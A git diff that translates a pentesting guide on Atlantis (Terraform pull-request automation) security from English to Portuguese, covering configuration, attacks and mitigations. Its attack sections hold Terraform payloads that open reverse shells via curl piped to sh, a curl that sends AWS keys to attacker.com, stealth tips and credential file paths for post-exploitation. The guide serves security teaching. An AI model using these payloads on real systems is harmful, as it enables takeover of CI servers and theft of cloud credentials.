a4b35140f..def774c6a 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -2,111 +2,111 @@ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Informações Básicas -Atlantis basically helps you to to run terraform from Pull Requests from your git server. +Atlantis basicamente ajuda você a executar terraform a partir de Pull Requests do seu servidor git. ![](<../images/image (161).png>) -### Local Lab +### Laboratório Local -1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. -2. Create a **personal token** (with repo access) of your **github** user -3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** - 1. You can access the web page in 127.0.0.1:4141 +1. Vá para a **página de lançamentos do atlantis** em [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) e **baixe** a que melhor se adapta a você. +2. Crie um **token pessoal** (com acesso ao repositório) do seu usuário **github**. +3. Execute `./atlantis testdrive` e isso criará um **repositório de demonstração** que você pode usar para **conversar com atlantis**. +4. Você pode acessar a página da web em 127.0.0.1:4141. -### Atlantis Access +### Acesso ao Atlantis -#### Git Server Credentials +#### Credenciais do Servidor Git -**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ -However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ -[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts. +**Atlantis** suporta vários hosts git, como **Github**, **Gitlab**, **Bitbucket** e **Azure DevOps**.\ +No entanto, para acessar os repositórios nessas plataformas e realizar ações, é necessário ter algum **acesso privilegiado concedido a eles** (pelo menos permissões de escrita).\ +[**A documentação**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) recomenda criar um usuário nessas plataformas especificamente para o Atlantis, mas algumas pessoas podem usar contas pessoais. > [!WARNING] -> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. +> Em qualquer caso, do ponto de vista de um atacante, a **conta do Atlantis** será muito **interessante** **para comprometer**. #### Webhooks -Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. +Atlantis usa opcionalmente [**segredos de Webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) para validar que os **webhooks** que recebe do seu host Git são **legítimos**. -One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret. +Uma maneira de confirmar isso seria **permitir que as solicitações venham apenas dos IPs** do seu host Git, mas uma maneira mais fácil é usar um Segredo de Webhook. -Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet. +Observe que, a menos que você use um servidor github ou bitbucket privado, precisará expor os endpoints de webhook para a Internet. > [!WARNING] -> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. +> Atlantis estará **expondo webhooks** para que o servidor git possa enviar informações. Do ponto de vista de um atacante, seria interessante saber **se você pode enviar mensagens** para ele. -#### Provider Credentials +#### Credenciais do Provedor -[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) +[Da documentação:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. +Atlantis executa Terraform simplesmente **executando os comandos `terraform plan` e `apply`** no servidor **onde o Atlantis está hospedado**. Assim como quando você executa o Terraform localmente, o Atlantis precisa de credenciais para seu provedor específico. -It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis: +Cabe a você como [fornecer credenciais](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) para seu provedor específico ao Atlantis: -- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs. -- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. -- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. -- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. +- O [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) do Atlantis e o [Módulo AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) têm seus próprios mecanismos para credenciais de provedor. Leia a documentação deles. +- Se você estiver executando o Atlantis em uma nuvem, muitas nuvens têm maneiras de conceder acesso à API da nuvem a aplicativos que estão sendo executados nelas, ex: +- [Funções AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Pesquise por "Função EC2") +- [Contas de Serviço de Instância GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- Muitos usuários definem variáveis de ambiente, ex. `AWS_ACCESS_KEY`, onde o Atlantis está sendo executado. +- Outros criam os arquivos de configuração necessários, ex. `~/.aws/credentials`, onde o Atlantis está sendo executado. +- Use o [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) para obter credenciais de provedor. > [!WARNING] -> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. +> O **container** onde o **Atlantis** está **executando** provavelmente **contém credenciais privilegiadas** para os provedores (AWS, GCP, Github...) que o Atlantis está gerenciando via Terraform. -#### Web Page +#### Página da Web -By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). +Por padrão, o Atlantis executará uma **página da web na porta 4141 no localhost**. Esta página apenas permite que você habilite/desabilite o atlantis apply e verifique o status do plano dos repositórios e os desbloqueie (não permite modificar coisas, então não é tão útil). -You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones). +Você provavelmente não a encontrará exposta à internet, mas parece que por padrão **nenhuma credencial é necessária** para acessá-la (e se forem, `atlantis`:`atlantis` são as **padrões**). -### Server Configuration +### Configuração do Servidor -Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. +A configuração para `atlantis server` pode ser especificada via flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma mistura dos três. -- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server -- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Você pode encontrar [**aqui a lista de flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) suportadas pelo servidor Atlantis. +- Você pode encontrar [**aqui como transformar uma opção de configuração em uma variável de ambiente**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). -Values are **chosen in this order**: +Os valores são **escolhidos nesta ordem**: 1. Flags -2. Environment Variables -3. Config File +2. Variáveis de Ambiente +3. Arquivo de Configuração > [!WARNING] -> Note that in the configuration you might find interesting values such as **tokens and passwords**. +> Observe que na configuração você pode encontrar valores interessantes, como **tokens e senhas**. -#### Repos Configuration +#### Configuração dos Repositórios -Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order: +Algumas configurações afetam **como os repositórios são gerenciados**. No entanto, é possível que **cada repositório exija configurações diferentes**, então existem maneiras de especificar cada repositório. Esta é a ordem de prioridade: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it. - 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported) -3. **Default** values +1. Arquivo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Este arquivo pode ser usado para especificar como o atlantis deve tratar o repositório. No entanto, por padrão, algumas chaves não podem ser especificadas aqui sem algumas flags permitindo isso. +2. Provavelmente necessário ser permitido por flags como `allowed_overrides` ou `allow_custom_workflows`. +3. [**Configuração do Lado do Servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Você pode passá-la com a flag `--repo-config` e é um yaml configurando novas configurações para cada repositório (regexes suportados). +4. Valores **padrão**. -**PR Protections** +**Proteções de PR** -Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended. +Atlantis permite indicar se você deseja que o **PR** seja **`aprovado`** por outra pessoa (mesmo que isso não esteja definido na proteção de branch) e/ou ser **`mesclável`** (proteções de branch aprovadas) **antes de executar apply**. Do ponto de vista de segurança, definir ambas as opções é recomendado. -In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**. +Caso `allowed_overrides` seja True, essas configurações podem ser **sobrescritas em cada projeto pelo arquivo `/atlantis.yml`**. **Scripts** -The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.** +A configuração do repositório pode **especificar scripts** para serem executados [**antes**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ganchos de pré-workflow_) e [**depois**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_ganchos de pós-workflow_) de um **workflow ser executado.** -There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. +Não há nenhuma opção para permitir **especificar** esses scripts no **arquivo de repositório `/atlantis.yml`**. **Workflow** -In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\ -Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.** +Na configuração do repositório (configuração do lado do servidor), você pode [**especificar um novo workflow padrão**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**criar novos workflows personalizados**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Você também pode **especificar** quais **repositórios** podem **acessar** os **novos** gerados.\ +Então, você pode permitir que o arquivo **atlantis.yaml** de cada repositório **especifique o workflow a ser usado.** > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\ -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Se a flag [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, workflows podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser potencialmente necessário que **`allowed_overrides`** especifique também **`workflow`** para **sobrescrever o workflow** que será usado.\ +> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que puder acessar esse repositório**. > > ```yaml > # atlantis.yaml @@ -124,21 +124,20 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor > steps: - run: my custom apply command > ``` -**Conftest Policy Checking** +**Verificação de Políticas Conftest** -Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include: +Atlantis suporta a execução de **políticas** [**conftest**](https://www.conftest.dev/) **do lado do servidor** contra a saída do plano. Casos de uso comuns para usar esta etapa incluem: -- Denying usage of a list of modules -- Asserting attributes of a resource at creation time -- Catching unintentional resource deletions -- Preventing security risks (ie. exposing secure ports to the public) +- Negar o uso de uma lista de módulos. +- Afirmar atributos de um recurso no momento da criação. +- Capturar exclusões de recursos não intencionais. +- Prevenir riscos de segurança (ou seja, expor portas seguras ao público). -You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Você pode verificar como configurá-lo na [**documentação**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). -### Atlantis Commands - -[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis: +### Comandos do Atlantis +[**Na documentação**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) você pode encontrar as opções que pode usar para executar o Atlantis: ```bash # Get help atlantis help @@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` - -### Attacks +### Ataques > [!WARNING] -> If during the exploitation you find this **error**: `Error: Error acquiring the state lock` - -You can fix it by running: +> Se durante a exploração você encontrar este **erro**: `Error: Error acquiring the state lock` +Você pode corrigir isso executando: ``` atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` +#### Atlantis plan RCE - Modificação de configuração em um novo PR -#### Atlantis plan RCE - Config modification in new PR - -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**. - -You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file: +Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar um PR. Se você puder **executar `atlantis plan`** (ou talvez seja executado automaticamente) **você poderá RCE dentro do servidor Atlantis**. +Você pode fazer isso fazendo com que [**Atlantis carregue uma fonte de dados externa**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Basta colocar um payload como o seguinte no arquivo `main.tf`: ```json data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Ataque Mais Discreto** -**Stealthier Attack** - -You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Você pode realizar este ataque de uma **maneira mais discreta**, seguindo estas sugestões: +- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +Você pode encontrar o código rev shell em [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. +- No recurso externo, use o recurso **ref** para ocultar o **código rev shell do terraform em um branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- **Em vez** de criar um **PR para master** para acionar o Atlantis, **crie 2 branches** (test1 e test2) e crie um **PR de um para o outro**. Quando você tiver concluído o ataque, apenas **remova o PR e os branches**. #### Atlantis plan Secrets Dump -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: - +Você pode **extrair segredos usados pelo terraform** executando `atlantis plan` (`terraform plan`) colocando algo assim no arquivo terraform: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +#### Atlantis apply RCE - Modificação de configuração em um novo PR -#### Atlantis apply RCE - Config modification in new PR +Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar um PR. Se você puder **executar `atlantis apply`, você poderá RCE dentro do servidor Atlantis**. -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. +No entanto, você geralmente precisará contornar algumas proteções: -However, you will usually need to bypass some protections: - -- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed). - - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply` - - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - -Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: +- **Mergeable**: Se essa proteção estiver definida no Atlantis, você só poderá executar **`atlantis apply` se o PR for mergeable** (o que significa que a proteção do branch precisa ser contornada). +- Verifique possíveis [**contornos de proteções de branch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +- **Aprovado**: Se essa proteção estiver definida no Atlantis, **outro usuário deve aprovar o PR** antes que você possa executar `atlantis apply` +- Por padrão, você pode abusar do [**token do Gitbot para contornar essa proteção**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +Executando **`terraform apply` em um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Você só precisa garantir que algum payload como os seguintes termine no arquivo `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Siga as **sugestões da técnica anterior** para realizar este ataque de uma maneira **mais furtiva**. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. - -#### Terraform Param Injection - -When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: +#### Injeção de Parâmetros do Terraform +Ao executar `atlantis plan` ou `atlantis apply`, o terraform está sendo executado sob, você pode passar comandos para o terraform a partir do atlantis comentando algo como: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` +Algo que você pode passar são variáveis de ambiente que podem ser úteis para contornar algumas proteções. Verifique as variáveis de ambiente do terraform em [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +#### Fluxo de Trabalho Personalizado -#### Custom Workflow - -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +Executando **comandos de build personalizados maliciosos** especificados em um arquivo `atlantis.yaml`. Atlantis usa o arquivo `atlantis.yaml` do branch da pull request, **não** do `master`.\ +Essa possibilidade foi mencionada em uma seção anterior: > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, fluxos de trabalho podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **substituir o fluxo de trabalho** que será utilizado. > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que possa acessar esse repositório**. > > ```yaml > # atlantis.yaml @@ -286,99 +272,97 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections - -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +#### Contornar proteções de plan/apply +Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tem_ `apply_requirements` configurado, é possível que um repositório **modifique as proteções de plan/apply para contorná-las**. ```yaml repos: - - id: /.*/ - apply_requirements: [] +- id: /.*/ +apply_requirements: [] ``` - #### PR Hijacking -If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. +Se alguém enviar **`atlantis plan/apply` comentários em seus pull requests válidos,** isso fará com que o terraform seja executado quando você não quiser. -Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE. +Além disso, se você não tiver configurado na **proteção de branch** para pedir para **reevaluar** cada PR quando um **novo commit é enviado** para ele, alguém poderia **escrever configs maliciosas** (ver cenários anteriores) na configuração do terraform, executar `atlantis plan/apply` e obter RCE. -This is the **setting** in Github branch protections: +Esta é a **configuração** nas proteções de branch do Github: ![](<../images/image (216).png>) #### Webhook Secret -If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. +Se você conseguir **roubar o webhook secret** usado ou se **não houver nenhum webhook secret** sendo usado, você poderia **chamar o webhook do Atlantis** e **invocar comandos do atlantis** diretamente. #### Bitbucket -Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. +O Bitbucket Cloud **não suporta webhook secrets**. Isso poderia permitir que atacantes **falsificassem solicitações do Bitbucket**. Certifique-se de permitir apenas IPs do Bitbucket. -- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket. -- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. -- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). +- Isso significa que um **atacante** poderia fazer **solicitações falsas para o Atlantis** que parecem estar vindo do Bitbucket. +- Se você estiver especificando `--repo-allowlist`, então eles poderiam apenas falsificar solicitações relacionadas a esses repositórios, então o maior dano que poderiam causar seria planejar/aplicar em seus próprios repositórios. +- Para evitar isso, adicione à lista de permissões [os endereços IP do Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (veja Endereços IPv4 de saída). ### Post-Exploitation -If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: +Se você conseguiu acessar o servidor ou pelo menos obteve um LFI, há algumas coisas interessantes que você deve tentar ler: -- `/home/atlantis/.git-credentials` Contains vcs access credentials -- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file - - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Env variables -- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) +- `/home/atlantis/.git-credentials` Contém credenciais de acesso ao vcs +- `/atlantis-data/atlantis.db` Contém credenciais de acesso ao vcs com mais informações +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Arquivo de estado do Terraform +- Exemplo: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` Variáveis de ambiente +- `/proc/[2-20]/cmdline` Linha de comando do `atlantis server` (pode conter dados sensíveis) ### Mitigations #### Don't Use On Public Repos -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. +Porque qualquer um pode comentar em pull requests públicos, mesmo com todas as mitigations de segurança disponíveis, ainda é perigoso executar o Atlantis em repositórios públicos sem a configuração adequada das configurações de segurança. #### Don't Use `--allow-fork-prs` -If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. +Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir `--allow-fork-prs` (o padrão é falso) porque qualquer um pode abrir um pull request de seu fork para seu repositório. #### `--repo-allowlist` -Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: +O Atlantis exige que você especifique uma lista de permissões de repositórios dos quais aceitará webhooks através da flag `--repo-allowlist`. Por exemplo: -- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` -- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` -- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. +- Repositórios específicos: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- Sua organização inteira: `--repo-allowlist=github.com/runatlantis/*` +- Todos os repositórios na sua instalação do GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*` +- Todos os repositórios: `--repo-allowlist=*`. Útil quando você está em uma rede protegida, mas perigoso sem também definir um webhook secret. -This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +Essa flag garante que sua instalação do Atlantis não esteja sendo usada com repositórios que você não controla. Veja `atlantis server --help` para mais detalhes. #### Protect Terraform Planning -If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. +Se atacantes estiverem enviando pull requests com código malicioso do Terraform em seu modelo de ameaça, então você deve estar ciente de que as aprovações de `terraform apply` não são suficientes. É possível executar código malicioso em um `terraform plan` usando a [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou especificando um provedor malicioso. Esse código poderia então exfiltrar suas credenciais. -To prevent this, you could: +Para evitar isso, você poderia: -1. Bake providers into the Atlantis image or host and deny egress in production. -2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. -3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. +1. Incorporar provedores na imagem do Atlantis ou hospedar e negar egress em produção. +2. Implementar o protocolo de registro de provedores internamente e negar egress público, assim você controla quem tem acesso de escrita ao registro. +3. Modificar o passo `plan` da sua [configuração de repositório do lado do servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validação extra neste ponto, por exemplo, exigindo um "joinha" no PR antes de permitir que o `plan` continue. O Conftest poderia ser útil aqui. #### Webhook Secrets -Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). +O Atlantis deve ser executado com Webhook secrets definidos através das variáveis de ambiente `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Mesmo com a flag `--repo-allowlist` definida, sem um webhook secret, atacantes poderiam fazer solicitações ao Atlantis se passando por um repositório que está na lista de permissões. Webhook secrets garantem que as solicitações de webhook estão realmente vindo do seu provedor de VCS (GitHub ou GitLab). -If you are using Azure DevOps, instead of webhook secrets add a basic username and password. +Se você estiver usando Azure DevOps, em vez de webhook secrets, adicione um nome de usuário e 